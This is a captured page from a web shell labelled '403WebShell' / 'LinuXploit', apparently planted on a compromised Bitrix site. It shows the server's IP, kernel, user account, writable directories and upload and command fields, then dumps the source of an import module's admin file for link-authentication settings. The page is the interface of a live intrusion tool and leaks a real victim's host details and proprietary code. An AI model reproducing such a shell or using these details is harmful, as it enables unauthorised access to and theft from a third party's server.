%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.16.81.14
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel//admin/iblock_import_excel_source_linkauth.php
<?
if(!defined('NO_AGENT_CHECK')) define('NO_AGENT_CHECK', true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/iblock/prolog.php");
$moduleId = 'esol.importexportexcel';
CModule::IncludeModule('iblock');
CModule::IncludeModule($moduleId);
IncludeModuleLangFile(__FILE__);

$MODULE_RIGHT = $APPLICATION->GetGroupRight($moduleId);
if($MODULE_RIGHT < "W") $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

if(isset($_POST['AUTH_SETTINGS']) && !is_array($_POST['AUTH_SETTINGS']))
{
	$_POST['AUTH_SETTINGS'] = $AUTH_SETTINGS = CUtil::JsObjectToPhp($_POST['AUTH_SETTINGS']);
}

if(is_array($_POST['vars']) && is_array($_POST['values']))
{
	$arVars = array();
	foreach($_POST['vars'] as $k=>$v)
	{
		if(strlen($v) > 0 /*&& strlen($_POST['values'][$k]) > 0*/)
		{
			$arVars[$v] = $_POST['values'][$k];
		}
	}
	$_POST['AUTH_SETTINGS']['VARS'] = $AUTH_SETTINGS['VARS'] = $arVars;
}

if(strlen($_POST['AUTH_SETTINGS']['HANDLER_FOR_LINK']) > 0)
{
	$_POST['AUTH_SETTINGS']['HANDLER_FOR_LINK_BASE64'] = base64_encode($_POST['AUTH_SETTINGS']['HANDLER_FOR_LINK']);
}

if(is_array($_POST['AUTH_SETTINGS']) && (!defined('BX_UTF') || !BX_UTF)) 
{
	$_POST['AUTH_SETTINGS'] = $AUTH_SETTINGS = $APPLICATION->ConvertCharsetArray($_POST['AUTH_SETTINGS'], 'UTF-8', 'CP1251');
}

if($_POST['action']=='checkconnect')
{
	define('PUBLIC_AJAX_MODE', 'Y');
	$sess = $_SESSION;
	session_write_close();
	$_SESSION = $sess;
	$APPLICATION->RestartBuffer();
	ob_end_clean();
	
	unset($_POST['AUTH_SETTINGS']['HANDLER_FOR_LINK']);
	$arFile = CKDAImportUtils::MakeFileArray(CUtil::PhpToJSObject($_POST['AUTH_SETTINGS']));
	$res = ($arFile['size'] > 0 && $arFile['type']!='text/html');
	$arResult = array('result'=>($res ? 'success' : 'fail'), 'file'=>$arFile);
	echo CUtil::PhpToJSObject($arResult);
	die();
}
elseif($_POST['action']=='loadparams')
{
	define('PUBLIC_AJAX_MODE', 'Y');
	$sess = $_SESSION;
	session_write_close();
	$_SESSION = $sess;
	$APPLICATION->RestartBuffer();
	ob_end_clean();
	
	$arVars = array();
	$formAction = '';
	$authLink = trim($_POST['AUTH_SETTINGS']['PAGEAUTH']);
	if(strlen($authLink) > 0)
	{
		$arCookies = array();
		$arHeaders = array('User-Agent' => 'BitrixSM HttpClient class');
		$redirectCount = 0;
		$lastLocation = $location = $authLink;
		while(strlen($location)>0 && $redirectCount<=5)
		{
			$lastLocation = $location;
			$client = new \Bitrix\Main\Web\HttpClient(array('disableSslVerification'=>true, 'redirect'=>false));
			$client->setCookies($arCookies);
			foreach($arHeaders as $hk=>$hv) $client->setHeader($hk, $hv);
			$htmlPage = $client->get($location);
			$arHeaders['Referer'] = $location;
			\CKDAImportUtils::MergeCookie($arCookies, $client->getCookies()->toArray());
			\CKDAImportUtils::GetNewLocation($location, $client->getHeaders()->get("Location"));
			$status = $client->getStatus();
			if(!in_array($status, array(301, 302, 303))) $location = '';
			$redirectCount++;
		}
		
		if(in_array($status, array(400, 405)))
		{
			$client = new \Bitrix\Main\Web\HttpClient(array('disableSslVerification'=>false, 'redirect'=>false));
			$res = trim($client->post($lastLocation, array('grant_type'=>'password')));
			if(strpos($res, '{')===0 && ($arAnswer = \CUtil::JsObjectToPhp($res)) && is_array($arAnswer) && 
				((array_key_exists('error', $arAnswer) && !empty($arAnswer['error']))
				|| (array_key_exists('message', $arAnswer) && !empty($arAnswer['message']))))
			{
				$arVars = array(
					'grant_type',
					'client_id',
					'client_secret',
					'username',
					'password'
				);
				$htmlPage = '';
			}
		}

		if(strlen($htmlPage) > 0)
		{
			$findPass = false;
			while(!$findPass && ($htmlPageLower = ToLower($htmlPage)) && ($formPos = strpos($htmlPageLower, '<form '))!==false && ($formPosEnd = strpos($htmlPageLower, '</form>'))!==false)
			{
				$arVars = array();
				$htmlForm = substr($htmlPage, $formPos, $formPosEnd - $formPos + 7);
				$htmlPage = substr($htmlPage, $formPosEnd + 7);
				if(preg_match_all('/<input[^>]*>/Uis', $htmlForm, $m))
				{
					foreach($m[0] as $input)
					{
						$type = 'text';
						if(preg_match('/[\s"\']type\s*=\s*[\'"]([^\'"]*)[\'"]/Uis', $input, $m2)
							|| preg_match('/[\s"\']type\s*=\s*([\S]*)(\s|>)/Uis', $input, $m2)) $type = ToLower($m2[1]);
						if(in_array($type, array('hidden', 'text', 'email', 'password', 'submit')))
						{
							if(preg_match('/[\s"\']name\s*=\s*[\'"]([^\'"]*)[\'"]/Uis', $input, $m2)
								|| preg_match('/[\s"\']name\s*=\s*([\S]*)(\s|>)/Uis', $input, $m2))
							{
								if(!in_array($m2[1], $arVars))
								{
									$arVars[] = $m2[1];
								}
							}
						}
						if($type=='password')
						{
							$findPass = true;
							if(preg_match('/<form[^>]*action\s*=\s*[\'"]?([^\'"]+)[\'"]?(\s|>)/Uis', $htmlForm, $m2))
							{
								$formAction = $authLink;
								\CKDAImportUtils::GetNewLocation($formAction, $m2[1]);
							}
						}
					}
				}
			}
		}
	}
	
	echo CUtil::PhpToJSObject(array('VARS'=>$arVars, 'LOC'=>$formAction));
	die();
}

if($_POST['action']=='save' && $_POST['AUTH_SETTINGS'])
{
	$APPLICATION->RestartBuffer();
	ob_end_clean();
	
	echo '<script>';
	echo 'EProfile.SetLinkAuthParams('.CUtil::PhpToJSObject($_POST['AUTH_SETTINGS']).');';
	echo '</script>';
	die();
}

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_popup_admin.php");
?>
<form action="<?echo $APPLICATION->GetCurUri();?>" method="post" enctype="multipart/form-data" name="field_settings">
	<input type="hidden" name="action" value="save">
	<?//ShowPostData($_POST);?>
	<?
	echo BeginNote();
	echo GetMessage("KDA_IE_AUTH_LINK_VIDEO").' <a target="_blank" href="https://www.youtube.com/watch?v=GIH8VboVSNA">https://www.youtube.com/watch?v=GIH8VboVSNA</a>';
	echo EndNote();
	?>
	<table width="100%" class="kda-ie-list-settings">
		<col width="50%">
		<col width="50%">
		<tr>
			<td class="adm-detail-content-cell-l"><?echo GetMessage("KDA_IE_LAUTH_FILELINK");?>:</td>
			<td class="adm-detail-content-cell-r">
				<input type="text" size="50" name="AUTH_SETTINGS[FILELINK]" value="<?echo htmlspecialcharsbx($AUTH_SETTINGS['FILELINK'])?>">
			</td>
		</tr>
		<tr>
			<td class="kda-ie-email-checkparams" colspan="2">
				<a href="javascript:void(0)" onclick="EProfile.CheckLauthConnectData(this)"><?echo GetMessage("KDA_IE_LAUTH_CHECK_SETTINGS");?></a> <div id="connect_result"></div>
				<div>&nbsp;</div>
			</td>
		</tr>
		<tr>
			<td class="adm-detail-content-cell-l"><?echo GetMessage("KDA_IE_LAUTH_PAGEAUTH");?>:</td>
			<td class="adm-detail-content-cell-r">
				<input type="text" size="50" name="AUTH_SETTINGS[PAGEAUTH]" value="<?echo htmlspecialcharsbx($AUTH_SETTINGS['PAGEAUTH'])?>" onchange="EProfile.LauthLoadParams(this)">
			</td>
		</tr>
		<tr>
			<td class="adm-detail-content-cell-l"><?echo GetMessage("KDA_IE_LAUTH_POSTPAGEAUTH");?>:</td>
			<td class="adm-detail-content-cell-r">
				<input type="text" size="50" name="AUTH_SETTINGS[POSTPAGEAUTH]" value="<?echo htmlspecialcharsbx($AUTH_SETTINGS['POSTPAGEAUTH'])?>">
			</td>
		</tr>
		
		
		<tr class="heading">
			<td colspan="2">
				<?echo GetMessage("KDA_IE_LAUTH_VARS"); ?>
			</td>
		</tr>
		<?
		if(!is_array($AUTH_SETTINGS['VARS'])) $AUTH_SETTINGS['VARS'] = array();
		if(count($AUTH_SETTINGS['VARS']) < 1) $AUTH_SETTINGS['VARS'][''] = '';
		foreach($AUTH_SETTINGS['VARS'] as $var=>$value)
		{
			?>
			<tr class="kda-ie-lauth-var">
				<td class="adm-detail-content-cell-l">
					<?echo GetMessage("KDA_IE_LAUTH_VAR");?>:
					<input type="text" name="vars[]" value="<?echo htmlspecialcharsbx($var)?>">
				</td>
				<td class="adm-detail-content-cell-r">
					<?echo GetMessage("KDA_IE_LAUTH_VALUE");?>:
					<input type="text" name="values[]" value="<?echo htmlspecialcharsbx($value)?>">
				</td>
			</tr>
			<?
		}
		?>
		<tr>
			<td colspan="2" class="kda-ie-email-checkparams kda-ie-lauth-addvar">
				<a href="javascript:void(0)" onclick="EProfile.LauthAddVar(this)"><?echo GetMessage("KDA_IE_LAUTH_ADD_VAR");?></a>
			</td>
		</tr>
		
		<tr class="heading">
			<td colspan="2">
				<?echo GetMessage("KDA_IE_LAUTH_OTHER_PARAMS"); ?>
			</td>
		</tr>
		<tr>
			<td colspan="2" class="kda-ie-linkauth-handler">
				<p><?echo GetMessage("KDA_IE_LAUTH_HANDLER_FOR_LINK"); ?>:</p>
				<textarea name="AUTH_SETTINGS[HANDLER_FOR_LINK]"><?echo $AUTH_SETTINGS['HANDLER_FOR_LINK']?></textarea>
			</td>
		</tr>
	</table>
</form>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_popup_admin.php");?>

Youez - 2016 - github.com/yon3zu
LinuXploit